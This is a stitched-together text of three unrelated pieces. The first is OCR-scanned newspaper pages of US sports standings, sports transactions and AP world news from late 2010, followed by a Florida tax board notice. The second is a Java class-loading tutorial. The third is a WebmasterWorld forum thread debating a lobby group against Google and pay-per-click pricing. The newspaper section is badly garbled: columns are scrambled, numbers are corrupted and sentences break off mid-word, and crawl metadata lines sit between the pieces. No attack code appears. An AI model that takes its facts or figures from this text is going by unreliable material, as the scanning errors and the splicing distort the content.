9.. NBA National Basketball Association All Times EST Eastern Conference Atlantic Division W L Pct GB Boston 12 4 .750 - New York 9 9 .500 4 New Jersey 6 11 .353 6%h Toronto 6 11 .353 6'h Philadelphia 4 13 .235 81/2 Southeast Division W L Pct GB Orlando 12 4 .750 - Atlanta 11 7 .611 2 Miami 10 8 .556 3 Charlotte 6 11 .353 6%h Washington 5 11 .313 7 Central Division W L Pct GB Chicago 9 6 .600 - Indiana 8 7 .533 1 Cleveland 7 9 .438 21% Detroit 6 11 .353, 4 Milwaukee 6 11 .353 4 Western Conference Southwest Division W L Pct GB San Antonio 14 2 .875 - Dallas 13 4 .765 1h New Orleans 12 5 .706 2/z Memphis 7 10 .412 7/2 Houston 5 12 .294 91h Northwest Division W L Pct GB Utah 14 5 .737 - Oklahoma City 12 6. .667 1% Denver 10 6 .625 2h Portland 8 8 .500 41h Minnesota 4 13 .235 9 Pacific Division W L Pet GB L.A. Lakers 13 4 .765 - Golden State 8 9 .471 5 Phoenix 8 9 .471 5 Sacramento 4 11 .267 8 L.A. Clippers 3 15 .167 10/2 Monday's Games Miami 105, Washington 94 Oklahoma City 95, New Orleans 89 Dallas 101, Houston 91 Utah 109, Milwaukee 88 Tuesday's Games Boston at Cleveland, late Detroit at Orlando, late Portland at Philadelphia, late New Jersey at New York, late LA. Lakers at Memphis, late Indiana at Sacramento, late San Antonio at Golden State, late. Indiana at Utah, 9 p.m. San Antonio at L.A. Clippers, 10:30 p.m. Thursday's Games Miami at Cleveland, 8 p.m. Phoenix at Golden State, 10:30 p.m. NFL National Football League All Times EST AMERICAN CONFERENCE East W L T Pct. Philai Wash Dalla:ct PF Giants 7 4 0.636 277 elphia 7 4 0 .636 310 ington 5 6 0.455 215 s San Francisco 4 7 0 .364 Arizona 3 8 0 .273 Thursday's Games New England 45, Detroit 24 New Orleans 30, Dallas 27 PA 240 257 262 301 PF PA 276 209 265 197 219 223 140 276 PF PA 222 172 269 166 189 239 258 282 PF PA 209 275 213 231 187 225 194 319 N.Y. Jets 26, Cincinnati 10 27, Arizona 6FL Team Stax Week 12 TOTAL YARDAGE American Football Conference OFFENSE Yards Rush Pass San Diego 4483 1246 3237 Indianapolis 4184 909 3275 Kansas City 4127 1917 2210 Houston 4045 1458 2587 Denver 4044 873 3171 N.Y. Jets 3978 1629 2349 New England 3841 1237 2604 Baltimore 3831 1258 2573 Miami 3757 1165 2592 Oakland 3694 1537 2157 Jacksonville 3684 1560 2124 Pittsburgh 3679 1386 2293 Cincinnati 3625 1012 2613 Buffalo 3503 1211 2292 Cleveland 3413 1285 2128 Tennessee 3279 1294 1985 DEFENSE Yards Rush Pass San Diego 3010 892 2118 N.Y. Jets 3266 949 2317 Pittsburgh 3350 704 2646 Miami 3358 1143 2215 Baltimore .3381 1119 2262 Oakland 3688 1471 2217 Cincinnati 3732 1353 2379 Indianapolis 3745 1496 2249 Kansas City 3772 1061 2711 Cleveland 3924 1315 2609 Tennessee 3968 1223 2745 Jacksonville 4129 1257 2872 Buffalo 4150 1841 2309 Denver 4187 1558 2629 Houston 4250 1102 3148 New England 4390 1217 3173 National Football Conference OFFENSE Yards Rush Pass Philadelphia 4392 1613 2779 N.Y. Giants 4257 1518 2739 New Orleans 4237 1036 3201 Dallas 4023 983 3040 Atlanta 4008 1407 2601 Green Bay 3894 1082 2812 Detroit 3770 934 2836 Minnesota 3667 1322 2345 Washington 3660 998 2662 San Francisco 3523 1219 2304 Tampa Bay 3513 1279 2234 St. Louis 3488 1147 2341 Chicago 3293 1121 2172 Seattle 3292 857 2435 Arizona 2960 858 2102 Carolina 2851 1115 1736 DEFENSE Yards Rush Pass N.Y. Giants 3152 1102 2050 Chicago 3302 885 2417 New Orleans 3374 1198 2176 Minnesota 3387 1020 2367 Philadelphia 3482 1128 2354 San Francisco 3485 1081 2404 Green Bay 3528 1238 2290 Carolina 3698 1436 2262 Tampa Bay 3722 1457 2265 St. Louis 3772 1137 2635 Atlanta 3813 1031 2782 Detroit 3889 1415 2474 Dallas 3938 1254 2684 Arizona 4354 1612 2742 Seattle 4389 1324 3065 Washington 4410 1447 2963 AVERAGE PER GAME American Football Conference OFFENSE Yards Rush Pass San Diego 407.5 113.3 294.3 'Indianapolis 380.4 82.6 297.7 Kansas City 375.2.174.3 200.9 Houston 367.7 132.5 235.2 Denver 367.6 79.4 288.3 N.Y. Jets 361.6 148.1. 213.5 New England 349.2 112.5 236.7 Baltimore 348.3 114.4 233.9 Miami 341.5 105.9 235.6 Oakland 335.8 139.7 196.1 Jacksonville 334.9 141.8 193.1 Pittsburgh 334.5 126.0 208.5 Cincinnati 329.5 92.0 237.5 Buffalo 318.5 110.1 208.4 Cleveland 310.3, 116.8 193.5 Tennessee 298.1 117.6 180.5 DEFENSE Yards Rush Pass San Diego 273.6 81.1 192.5 N.Y. Jets 296.9 86.3 210.6 Pittsburgh 304.5 64.0 240.5 Miami 305.3 103.9 201.4 Baltimore 307.4 101.7 205.6 Oakland 335.3 133.7 201.5 Cincinnati 339.3 123.0 216.3 Indianapolis 340.5 136.0 204.5 Kansas City 342.9 96.5 246.5 Cleveland 356.7 1t9.5 237.2 Tennessee 360.7 111.2 249.5 Jacksonville 375.4 114.3 261.1 Buffalo 377.3 167.4 209.9 Denver 380.6 141.6 239.0 Houston 386.4 100.2 286.2 New England 399.1. 110.6 288.5 National Football Conference OFFENSE Yards Rush Pass Philadelphia 399.3 146.6 252.6 N.Y. Giants 387.0 138.0 249.0 New Orleans 385.2 94:2 291.0 Dallas 365.7 89.4 276.4 Atlanta 364.4 127.9 236.5 Green Bay 354.0 98.4 255.6 Detroit 342.7 84.9 257.8 Minnesota 333.4 120.2 213.2 Washington 332.7 90.7 242.0 San Francisco320.3 110.8 209.5 Tampa Bay 319.4 116.3 203.1 St. Louis 317.1 104.3 212.8 Chicago 299.4 101.9 197.5 Seattle 299.3 77.9 221.4 Arizona 269.1 78.0 191.1 Carolina 259.2 101.4 157.8 DEFENSE Yards Rush Pass N.Y. Giants 286.5 100.2 186.4 Chicago 300.2 80.5 219.7 New Orleans 306.7 108.9 197.8 Minnesota 307.9 92.7 215.2 Philadelphia 316.5 102.5 214.0 San Francisco316.8 98.3 218.5 Green Bay 320.7 112.5 208.2 Carolina 336.2 130.5 205.6 Tampa Bay 338.4 132.5 205.9 St. Louis 342.9 103.4 239.5 Atlanta 346.6 93.7 252.9 Detroit 353.5 128.6 224.9 Dallas 358.0 114.0 244.0 Arizona 395.8 146.5 249.3 Seattle 399.0 120.4 278.6 Washington 400.9 131.5 269.4 NHL National Hockey League All Times EST Eastern Conference Atlantic Division GP W LOT P GF GA Philadelphia 25 15 6 434 87 61 Pittsburgh 26 16 8 2 34 79 62 N.Y. Rangers 26 14 11 1 29 74 69 New Jersey 24 8 14 2 18 45 69 N.Y. Islanders 22 5 12 5 15 46 72 Northeast Division GP W LOT P Montreal 24 15 8 1 31 Boston 22 12 8 2 26 Ottawa 25 11 13 1 23 Buffalo 25 9 13 3 21 Toronto 22 8 11 3 19 Southeast Division GP W LOT P Washington 25 17 6 2 36 Tampa Bay 24 13 8 3 29 Atlanta 24 12 9 3 27 Carolina 24 10 11 3 23 Florida 22 10 12 0 20 GF GA 60 47 59 46 58 75 62 73 48 61 GF GA 86 68 73 78 77 72 71 78 57 57 Western Conference Central Division GP W LOT P GF GA Detroit 21 15 4 2 23 11 10 2 24 56 65 Calgary 24 10 12 2 22 67 69 Edmonton 23 7 12 4 18 59 89 Pacific Division GP W LOT P GF GA Dallas 23 14 8 1 29 68 62 Phoenix 22 11 6 527 66 65 Anaheim 26 12 11 327 66 77 San Jose 22 11 7 4 26 65 63 Los Angeles 23 13 10 0 26 63 57 NOTE: Two points for a win, one point for overtime loss. Monday's Games Pittsburgh 3, N.Y. Rangers 1 Dallas 4, Carolina 1 Edmonton 4, Ottawa 1 Calgary 3, Minnesota 0 Anaheim 2, Los Angeles 0 Tuesday's Games Tampa Bay at Toronto, late Phoenix at Nashville, late St. Louis at Chicago, late Atlanta at Colorado, late Detroit at San Jose, late p.m. Thursday's Games Tampa Bay at Boston, 7 p.m. Edmonton at Toronto, 7 p.m. Montreal at New Jersey, 7 p.m. N.Y. Rangers at N.Y. Islanders, 7 p.m. Atlanta at Pittsburgh, 7 p.m. San Jose at Ottawa, 7:30 p.m. Washington at Dallas, 8:30 p.m. Florida at Los Angeles, 10:30 p.m. BASEBALL Largest Baseball Contract Packages NEWYORK (AP) Baseball con- tracts worth $150 million or more. Figures were obtained by The Associated Press from player and man- agement sources and include all guar- anteed income but not income from potential incentive bonuses. There is no distinction for money deferred without interest: Player, Club Years Total A. Rodriguez, NYY, 2008-17, $275M A. Rodriguez, Tex-NY, 2001-10, $252M D. Jeter, NYY, 2001-10, $189M J. Mauer, Min, 2011-18, $184M M. Teixeira, NYY, 2009-16, $180M CC Sabathia, NYY, 2009-15, $161 M M. Ramirez, Bos-LAD, 2001-8, $160M T. Tulowitzki, Col, 2011-20, $157.75M M. Cabrera, Det, 2008-15$152.3M TRANSACTIONS Tuesday's Sports Transactions: BASEBALL American League TEXAS RANGERS -Agreed to terms with RHP Yoshinori Tateyama on a one- year contract. TORONTO BLUE JAYS pitch- ing rehab coordinator. National League. ST. LOUIS CARDINALS -Acquired INF Ryan Theriot from the Los Angeles Dodgers for RHP Blake Hawksworth. Agreed to terms with LHP Brian Tallet on a one-year contract. Carolina League KINSTON INDIANS-Named Benjamin Jones general manager. BASKETBALL National Basketball Association Development League RIO GRANDE VALLEY VIPERS - Acquired G Garrett Temple. Waived F Stanley Asumnu. FOOTBALL National Football League BALTIMORE RAVENS Waived S Ken Hamlin. Signed FB Jason McKie. BUFFALO BILLS Signed G Marc Dile and DB Trae Williams. CINCINNATI BENGALS Signed PK Clint Stitser. Waived PK Aaron Pettrey. HOCKEY National Hockey League ATLANTA THRASHERS -Assigned C Patrice Cormier to Chicago (AHL). CHICAGO BLACKHAWKS Recalled F Jeremy Morin from Rockford (AHL). MINNESOTA WILD Reassigned F Matt Kassian to Houston (AHL). PHILADELPHIA FLYERS Loaned G Michael Leighton to Adirondack (AHL). WASHINGTON CAPITALS Traded F Tomas Fleischmann to Colorado for D Scott Hannan. American Hockey League CONNECTICUT WHALE Loaned F Tyler Donati to Elmira (ECHL). ECHL ECHL Fined the Las Vegas Wranglers an undisclosed amount for its actions following Saturday's game at Ontario. SuspendedCincinnati D Carl Hudson one game and fined him an undisclosed amount for a major penalty and game misconduct during Sunday's game at Trenton. Suspended Utah F Chris Donovan one game and fined him an undisclosed amount for a match penalty during Sunday's game at Ontario. ELMIRA JACKALS Loaned C Brock McBride to Houston (AHL) and D Jody Pederson to Worcester (AHL). COLLEGE NORTH TEXAS Named Dan McCarney football coach. INTERNATIONAL US says Iran got missile boost from North Korea BY BRIAN MURPHY ASSOCIATED PRESS DUBAI, United Arab Emirates WikiLeaks could also give Iran an important boost toward joining the power- ful group of nations with intercontinental ballistic missiles, defense experts said Monday. The U.S. suspicions carry still another jolt: reinforcing international fears about the possibility of closer nuclear coopera- tion in the future between Iran and North Korean engineers, who have already staged atomic tests. U.S. officials presented the claim in a meeting with top Russian security officials in late 2009 but did not offer conclusive evidence of the transfer of at least 19 so- called BM-25 missiles, according to the confidential Feb. 24 memo posted by the WikiLeaks website, which specializes in disclosing confidential documents. It also noted that "Russia does not think the BM-25 exists" and questioned why there have been no Iranian tests of the mis- sile, believed to be based on a Russian design that could be fitted with nuclear warheads. Still, the U.S.-Russia meeting found ample common ground over concerns that North Korea appears to be actively engaged with Iran in exporting weapons systems and possible nuclear expertise. A U.N. report accusing North Korea of exporting banned nuclear and missile tech- nology mis- siles fits into Iran's step-by-step claims of being able to reach farther from its bor- ders. A year ago, Iran said it successfully test-fired an upgraded version of its Sajjil- 2 missile with a reported range of 1,200 miles (2,000 kilometers), putting Israel, U.S. bases in the Gulf and parts of south- eastern abili- ty to carry much larger warheads and give technicians the ability to study and copy an advanced propulsion and guidance sys- tems. lian's Shahab-3 missile, first displayed in 1998, is based on North Korea's Nodong-1 design. But the American claims, if true, could mark the first delivery to Iran of a fully operational and state-of-the-art North Korean missile. Xue Feng's lawyer Tong Wei, right, arrives for the appeal at the Beiiing High People's Court in Beijing, China, Tuesday, Nov. 30. American geologist Xue was convicted and sentenced to eight years in prison in July on charges of obtaining state secrets by procuring a database and other information on China's oil indus- try. AP Photo/Ng Han Guan China bars US official from American'. BY CHARLES HurzIME ASSOCIATED PRESs BEIJING A Beijing appeals court barred U.S. diplomats from attending a hearing. Tuesday for an American geologist sen- tenced to eight years in prison for obtaining infor- mation on China's oil indus- try that the government says are state secrets. The two-hour-plus hear- ing in the case of Xue Feng ended without a judgment. He and his lawyer argued the government wrongly applied its broad powers to classify as secrets infQrma- tion that should be common- ly available, said the lawyer, Tong Wei. Outside the Beijing High People's Court, a senior U.S. Embassy official called for Xue's release and return to the U.S. and fumed about the court's decision to exclude American diplo- mats. informa- tion. It also highlights the vulnerability of Chinese who take foreign citizenship but return to China to work. company now known as IHS Inc. His appeal comes just a little more than three years after Xue disappeared into custody while on a business trip to China. During his first months in detention, Xue was mistreated. His inter- rogators stubbed lit ciga- rettes pre- appeal ferred mis- treatment and The Associated Press reported on the case. President Barack Obama raised the matter with China's Hu Jintao. Goldberg, the diplo- mat, infor- mation for more than 32,000 oil and gas wells belonging to the country's two largest and state-run oil companies, China National Petroleum Corporation and China Petrochemical Corporation. A U.S. Navy F/A-18F Super Hornet fighter attack aircraft sits on a steam catapult before launching off the deck of the USS George Washington, during a joint mili- tary exercise off South Korea's West Sea, in South Korea's West Sea on Tuesday, Nov. 30. Jets roared off a supercarrier in U.S.-South Korean war games Tuesday, as the U.S. and twvo crucial Asian allies agreed to talk in Washington about North Korea's attack on a South Korean island and the North's nuclear weapons pro- grams. AP Photo/Wally Santana Memo leaks complicate picture of North Korea BY CHRISTOPHER BODEEN AND JEAN H. LEE ASSOCIATED PRESS SEOUL, South Korea ris- ing others. U.S.-South Korean war games including the presence of the aircraft carrier USS George Washington in the waters to the south - are threatening to draw a new round of North Korean fire.. "China consistently supports dialogue between the North and South sides of the Korean peninsula to improve their rela- tions,"-need- ed fuel oil and aid in exchange for nuclear disarmament. ,, Seoul has reacted coolly to the proposal. South Korean officials said they must con- sider it carefully, citing Pyongyang's recent revelation of a new uranium enrich- ment rul- ing out the six-party talks for the time being. The United States wants "China to urge North Korea to stop the destabiliza- tion," discus- sions,-rank- ing North Korean official Choe Thae Bok, an aide to leader Kim Jong II, to Beijing for talks. State Councilor Dai Bingguo, meanwhile, was sent to Pyongyang to urge North Korea to join the emergency meet- ing, Kyodo reported from the Chinese cap- ital. All parties will have competing ideas on how to resolve the tension, said Kim Keun- sik, a North Korea analyst at South Korea's Kyungnam University. SDR-529 N. 12/09 Rule 12D-16.002 Florida Administrative Code DEPARTMENT OF REVENUE TAX IMPACT OF VALUE ADJUSTMENT BOARD Jackson County Tax Year 2010 Members of the Board Honorable Edward E Crutchfield Board of County Commissioners, District No. 2 Honorable Kenneth Stephens Board of County Commissioners, District No. 5 Honorable Betty Duffee School Board, District No. 3 Citizen Member Joey Woodruff Business owner within the school district Citizen Member Pat Williams ount e ue e County Taxable Value Taxes Granted RWd Reduced withdrawn Due to Board Actions Due to Board Actions Granted Requested Reduced Requested 0orsetlded Residential 0 0 0 0 0 $0 $0 Commercial 0 2 0 13 9 $0 $0 Industrial and miscellaneous Agricultural or 0 0 0 $0 $0 classified use High-water recharge 0 0 0 0 0 $0 $0 Historic commercial 0 0 0 0 0 $0 $0 0 0 0 0 0 $0 $0 or nonprofit Business machinery 0 0 2 2 $0 $0 and equipment Vacant lots and S0 0 0 1 0 $0 $0 acreage TOTALS 0 2 0 16 11 $0 $0 All values should be county taxable values. School and other taxing authority values may differ. *Includes transfer of assessment difference (portability) requests. If you have a question about these actions, contact the Chair or the Clerk of the Value Adjustment Board. Chair's name Edward E Crutchfield Phone 850-482-9633 Clerk's name Lucretia W Farris Phone 850-482-9634 8B Wednesday, December 1,
http://ufdc.ufl.edu/UF00028304/00453
CC-MAIN-2018-39
refinedweb
27,990
73.07
Java Class Loading: The Basics Delegation Model A delegation model for class loaders was introduced in Java 2 (starting with version 1.2). In this model, class loaders are arranged hierarchically in a tree, with the bootstrap class loader as the root of the tree. Each user-defined class loader is assigned a "parent" class loader when it is constructed (the bootstrap class loader is the only class loader in the system without a parent). By default, this parent is the system class loader (see below). Alternately, a parent class loader can be provided explicitly as a construction parameter. When a load request is made of a user-defined class loader, that class loader can either immediately attempt to load the class itself, or it can first delegate to some other class loader - only attempting to load the class itself if the delegate fails to do so. A class loader that has been delegated, provided it is not the bootstrap class loader, has the same choice - attempt to load the class itself or delegate to yet another class loader. If a class loader is eventually successful at loading the type, it will be marked as the defining class loader for the type. All of the class loaders that were given an opportunity to load the type are marked as initiating loaders of the type (see Appendix C). If no class loader is successful in loading the type, a java.lang.ClassNotFoundException (or, in certain cases, a java.lang.NoClassDefFoundError) will be thrown. Typical Default Class Loader Hierarchy By default, a Java 2 JVM typically provides a bootstrap class loader and two user- defined class loaders: the extension class loader and the system (or application) class loader. The bootstrap class loader, as mentioned above, is responsible for loading the core Java classes (e.g. java.*, javax.*, etc.) into the VM. The extension class loader is responsible for loading classes from the JRE's extension directories. Finally, the system class loader is responsible for loading classes from the system class path. Namespaces A loaded class in a JVM is identified by its fully qualified name and its defining class loader - this is sometimes referred to as the runtime identity of the class. Consequently, each class loader in the JVM can be said to define its own namespace. Within a namespace, all fully- qualified names are unique. Two different name spaces, however, can contain identical fully-qualified names. Because the defining class loader is part of the runtime identity of the class, the classes associated with these names are considered distinct (e.g. class x.y.z.Foo defined by class loader A is NOT considered by the JVM to be the same class as class x.y.z.Foo defined by class loader B). Type Safety Ensuring type safe linkage in the presence of multiple class loaders (some of which are user-defined) requires special care. In fact, prior to Java 2, Java was not type-safe (see "Java is not type-safe" by V.Saraswat). To ensure type safety (i.e. type consistency across namespaces), the JVM now imposes loading constraints. A loading constraint indicates that a name in one namespace MUST refer to the same type data in the method area as the same name in another namespace. The JVM will, at prescribed times, add new constraints. This is generally done when the JVM encounters references to types whose loading was not initiated by the same class loader that initiated loading of the referencing type. When the JVM attempts to resolve a symbolic reference (during the linking phase of the type life cycle), it must first check that all of the current loading constraints are satisfied. If any of the constraints are violated, a LinkageError will be thrown. Conclusion The Java class loader architecture affords a Java developer a tremendous amount of flexibility in the way that an application is assembled and extended. To truly leverage this flexibility, a developer must understand class loading in some detail. This article presented some of the basic concepts and notions in this area. The next article in this series will provide information about customizing the class loading process, including details on developing user-defined class loaders. Further Reading "The Java Virtual Machine Specification, Second Edition" by T.Lindholm and F.Yellin "Inside the Java 2 Virtual Machine" by B.Venners "Dynamic Class Loading in the Java Virtual Machine" by S.Liang and G.Bracha Appendix A: Active Uses The following activities qualify as active uses; all other uses are considered passive uses: - Creation of a new instance of a class (e.g. via execution of a newinstruction, implicit creation of a String, reflection, cloning, deserialization} - Invocation of a class method (i.e. a static method) declared by a class - Use or assignment of a non-constant static field declared by a class or interface - Invocation of certain reflective methods in the Java API, such as methods in java.lang.Classor in classes in the java.lang.reflectpackage - Initialization of a subclass of a class (initialization of a class requires prior initialization of its superclass) - Designation of a class as the initial class (with main()) when the JVM is started Appendix B: Loading Array Classes NOTE: Array classes are created by the Java Virtual Machine rather than by a class loader. The JVM will, however, assign a defining class loader to each array class. An array of reference types will be assigned the defining class loader of the component type (e.g. Foo[] would be assigned the defining class loader of Foo). The JVM will assign the bootstrap class loader as the defining class loader of an array of primitives. Appendix C: Initiating and Defining Class Loaders Because of the class loader delegation model, the class loader that initiates the loading of a type is not necessarily the class loader that defines that type. The class loader responsible for defining a type is referred to as that type's defining class loader. Any class loader that initiates the loading of a type, directly or indirectly (due to delegation), is referred to as an initiating class loader of the that type. Note that the defining class loader of a type is also an initiating class loader for that type. About the Author Brandon E Taylor is a software architect in the Network Storage division of Sun Microsystem, Inc. He has worked for Sun since 1998 and has been developing "serious" software using Java since 1996. (By the way...the "E" stands for "Eugene") Page 2 of 2
http://www.developer.com/java/other/article.php/10936_2248831_2/Java-Class-Loading-The-Basics.htm
CC-MAIN-2015-48
refinedweb
1,092
53.31
I have to retrieve a URL that is nested in a webpage. I have tried the following code but it does not find the URL of the main link (to a PDF). import urllib2 from bs4 import BeautifulSoup url = "" conn = urllib2.urlopen(url) html = conn.read() soup = BeautifulSoup(html) links = soup.find_all('a') for tag in links: link = tag.get('href',None) if link is not None: print link The pdf path is retrieved using an ajax request, you need to do a bit of work to mimic the request: import urllib2 from bs4 import BeautifulSoup import re url = "" conn = urllib2.urlopen(url) html = conn.read() # we need to pass in the getbyid value which we parse later attach = "('{}')/items(89)/AttachmentFiles" soup = BeautifulSoup(html) # the getbyid is contained inside a script tag, this will pull what er need from it. patt = re.compile('ctx.editFormUrl\s+=\s+"(.*?)"') # find that script. scr = soup.find("script",text=re.compile("ctx.editFormUrl")) # line we are getting looks like ctx.editFormUrl = ""; # we need the ListId ctx = patt.search(scr.text).group(1) # pull ListId, and pass it to url soup2 = BeautifulSoup(urllib2.urlopen(attach.format(ctx.rsplit("=")[-1])).read()) # ^^ returns xml, we need to find the pdf path from that, it starts with /sites/main/pt/List. pdf_path = soup2.find(text=re.compile("^/sites/main/pt/List")) Then you need to join to the base url: from urlparse import urljoin # join our parsed path to the base full_url = urljoin("", pdf_path) print(full_url) we also need to quote and encode: from urllib import quote from urlparse import urljoin # handle non-ascii and encode full_url = urljoin("", quote(pdf_path.encode("utf-8"))) And finally to write: from urlparse import urljoin from urllib import quote full_url = urljoin("", quote(pdf_path.encode("utf-8"))) from os.path import basename with open(basename(pdf_path.encode("utf-8")), "wb") as f: f.writelines(urllib2.urlopen(full_url)) Which will give you a pdf file called Lista de Instituições Registadas (actualizado 24.10.16).pdf If you use requests, it does a lot of the work for you: import requests from bs4 import BeautifulSoup import re from urlparse import urljoin from os.path import basename url = "" conn = requests.get(url) html = conn.content attach = "('{}')/items(89)/AttachmentFiles" soup = BeautifulSoup(html) links = soup.find_all('a') patt = re.compile('ctx.editFormUrl\s+=\s+"(.*?)"') scr = soup.find("script",text=re.compile("ctx.editFormUrl")) ctx = patt.search(scr.text).group(1) soup2 = BeautifulSoup(requests.get(attach.format(ctx.rsplit("=")[-1])).content) pdf_path = soup2.find(text=re.compile("/sites/main/pt/List")) full_url = urljoin("", pdf_path.encode("utf-8")) with open(basename(pdf_path.encode("utf-8")), "wb") as f: f.writelines(requests.get(full_url))
https://codedump.io/share/72FprF6dSIkQ/1/python-27---search-for-a-particular-url-on-a-webpage-with-ajax
CC-MAIN-2017-09
refinedweb
445
52.66
Welcome to WebmasterWorld Guest from 23.20.53.150 Forum Moderators: LifeinAsia! Google's monoply is over the participation of web sites in its index. Yes, along with other SEs, Google benefits from indexing the content of others. However on the whole this is symbiotic, with the sites receiving traffic in return (or at least the potential of trafic - it may be a dire site :> ). Where the monopoly comes in is; who can afford not to allow Google to spider their site when they might be responsible for 85% of traffic. On the whole, the sites that can afford to block Google won't harm Google and the sites that could harm Google would be greatly harmed by blocking Google. While Google holds such a large share of searches the only way to manage an effective refusal of cooperation is an organised boycott. I still think that this group won't have sufficient power for that though. afterall, why would aol and yahoo want to invest in search technology, and the headache that goes with it, when they could use someone else's search technology, and just sell advertising; cutting costs and maximizing revenue...it's the (corporate) american way. far too many people spend FAR too much time worrying about google, and too little making sure that their sites are relevant in msn, looksmart, etc etc etc. i was also quoted poorly by someone earlier, but i don't even feel like finding it. i will say that; if you build your business based on someone else's, and you do not have a strategic alliance or any kind of a partnership with them, then you are doomed to fail when their business changes, and you have entrenched yourself so heavily into the way they 'used' to do things, that you cannot keep up. search engines provide free money to people. i'll bet that we work a lot less than the people within the googleplex, and make a lot more money on an individual basis. it's pretty sickening, really. so, let's all sit back while google cries us a river. once msn is imbedding in windows os, google will lose a lot of the market. if yahoo makes a move, or if the rebounding economy inspires anyone to make a GOOD search technology effort, google stands to lose. right now, i think that they're the most technically sophisticated search technologists and engineers working on and with the internet (THE WHOLE INTERNET). do they make mistakes? yes. is anybody out there really able to compete? not yet. oh, and i wonder, paddy...are your 500,000 number one rankings purely based on your own search engine results? because, of the several thousand keys that i compete for, and the thousands of others that friends are targeting, i doubt that you are anywhere on google or msn. of course, these are money making keys, and not 'knitting grannies'. i believe that the animosity towards google is totally misdirected. search purists should just use the odp. google is a computer program (well, sort of), and, imho, is balancing information and commercialization as best as can be expected. there are two things that will kill google: an IPO or better search technology. In the case of search technology, we have two demands: users who want to find relevant information, and businesses (or organizations) who want to find these users (or customers to be exact.) Search engines need to meet the demand of both of these elements or they are operating at only half efficiency or worse. If you've noticed, all of these PPC services utilize methods of working towards better relevancy whether by human review, or analyzing the habits of users interacting with the ads, as in AdWords. If they took a highest bidder only approach then the search would quickly become useless to users and the search engine would fail to succeed. They know this, it's essential to their business model, and it's the primary reason why this lobby group is totally pointless. Google's PPC will actually give a higher listing to an ad which has proven to be of more interest to users even if it is bidding LOWER than other advertisers. Overture can be a real bear sometimes to get keywords approved if your content is not very relevant to your submitted keywords. I sometimes get denied for words which I feel are relevant. Your fears are unfounded and not based on anything presently occuring or even in danger of occurring. A free market operates best when it is free, laissez-faire, and lobbying for government interaction and regulation is simply going to wreck the whole process and economics of the internet search market. It will only lead to higher expenses for search engines which will mean either subscription services for the end user or horrible service because these companies can't fund themselves. In case you haven't noticed, everything in history that regulation has touched has always resulted in additional costs being passed on to the consumer. These lobbying efforts only possible effect can be hurtful to the end users, whose behalf you are purporting to by lobbying on. Couldn't agree more. And if business feels that search engines hold all the cards and business is forced into spiralling costs one of the great benefits of a free market is that businesses can join together and go elsewhere, or even create their own rival search engine. Look, one of the basic functions of the Lobby Group will be to represent members when for instance they disappear from the natural results in a search engine. We will be demanding that the search engine supply an answer. The current situation where they do not answer is not in my view acceptable. They have a responsibility to act responsibly. No longer can they say, we are a "not for profit" organisation and cannot afford the customer service costs of answering these queries. You're not doing so hot in Google? Fine, pay for AdWords, make a relevant ad tile, pick good keywords, and there you are. Google is under no obligation to do anything for you for free. What's next? Are you going to lobby against people with a page with links to their favorite sites when they remove you because they don't like your site anymore? If someone gave you a free billboard on the side of the highway, then took it away a few weeks later, you think you the right to demand an explanation? That's just silly, pay up like you have to in any other advertising medium, otherwise do a better job of making relevant content to appear in the Google free listings. Plenty of other people manage to do it, and so can you if you work at it. There is no free lunch. Honestly, I don't think you're thinking. What else is a lobby group for than to lobby against laws, or bring a class action suit. How exactly would you DEMAND an explanation from Google? How can you tell me you agree with a free market economy in the same post that you suggest people should lobby for Google to be forced to provide explanations for anything they do with their own search engine that you aren't paying a dime to be in? The logic is just not there. The only thing we can take from this lobby group's intention is to force government control over a service that a company is not even selling! You've got the wrong country, wrong era, and wrong idea to be trying this stuff in. Lobby groups are, like it or not, a well established part of all western countries, I believe in the US they might have even more influence than elsewhere. I'm quite positive at some point there will be some regulations for websearch, for the better or the worse. The participants in that field will all see that their interests are not neglected in the process. One of the parties involved already has started to take it up against the engines: the consumers/users through the FTC. >a service that you don't pay for? They're doing you a huge favor Well, that goes both ways, right? Last I looked the websearch market was said to be the hottest market on the web. Google, Overture, Yahoo...it's a billion dollar market. Did they pay you? Where would they be without your content and your advertizing dollars? Google AdWords are seperate from the Google index, as is the Google Directory (aka DMOZ). Google's main results are still a free search engine that requires nothing of its participants, except maybe they don't pitch a fit when things don't go their way or they get clipped for breaking the usage terms. You're lumping two seperate services together, trying to claim a conspiracy, and then try to build political muscle to lean on a respectable company when your SEO efforts aren't up to snuff. It's the way the game is played, some people do well, some people don't. I know the "New American Way" is to sue when you smoke your helath away, eat yourself into obesity or your business efforts fail due to your own ineptitude, but it's a twisted departure from personal responsibility that you should be ashamed of furthering. As to PACs and other special interest groups, without turning this into a political debate (which it essentially is), they are an ugly issue that needs to be dealt with. Sure they're a reality in America, but so is rape, murder and lowered Sentras without mufflers and "High Performance" written in gothic letters across their windshields, but that doesn't make them a good thing, now does it? less than truthful after looking at tracking url's and log files.:) . " 1) Spiralling costs of PPC are driven by the market. Your bid amounts are set by how much you are willing to spend. If your main keywords are going for an amount higher than you're willing to spend, then you have your competitors to blame (or yourself for having an under-funded ad budget.) Bids are set by demand and the market, not the PPC service. 2) Search engines must receive thousands of these "Where's my site" emails a day (just ask Google Guy), it would take them so many man-hours and expense to review and answer each one, or even a small percentage of each one that it's absurd to ask them to do that. I know for a fact that requests are answered, I've have seen several examples of it on these boards. They do what they can, but that's also why they post the guidelines for you to review your site with. 9 times out of 10 you are doing something wrong. 3) This claim of listings being dropped and then being asked to pay for the PPC, give me a break. It's more like you used bad SEO for ultra-competitive terms, and when you complain about it and get an answer (which it is being claimed doesn't happen) the solution you are being presented is to try using PPCs to gain an advantage. It's a common concept among marketers who aren't hacks. Whining about your competitors browbeating you while you ignore all the right avenues towards profitability is pathetic. Point is, if you are going after terms like "laptop computers" or "Las Vegas hotels", or anything with stiff competition, well established sites and big ad budgets, you better come to play and put up or shut up. Whimpering that your free ride in the main listings is over because better SEOs have beaten you, and you can't afford to use PPCs? Sorry pal, you lose. Business is business and not everybody wins, just the way it is. So, if you don't have the stomach for it, go niche or sell your stuff on eBay. In any case, whining and crying won't help you. That is the absolute worst logic and reasoning I have ever heard! Are you even listening to yourselves? Honestly, you are making arguing the counterpoint much too easy. Even if what you say is true, they are completely within their right to do so. They aren't even a public company, so regardless of how popular they are, the content of their site is their business, and their business alone. In case you haven't been paying attention, a court of law has already ruled that Google's directory is a matter of opinion and the content of which is not subject to any legal scrutiny. This lobby, and the opinions and arguments I've seen supporting it in this thread are examples of liberal socialism at its worst!
https://www.webmasterworld.com/forum31/891-4-30.htm
CC-MAIN-2017-26
refinedweb
2,162
69.11
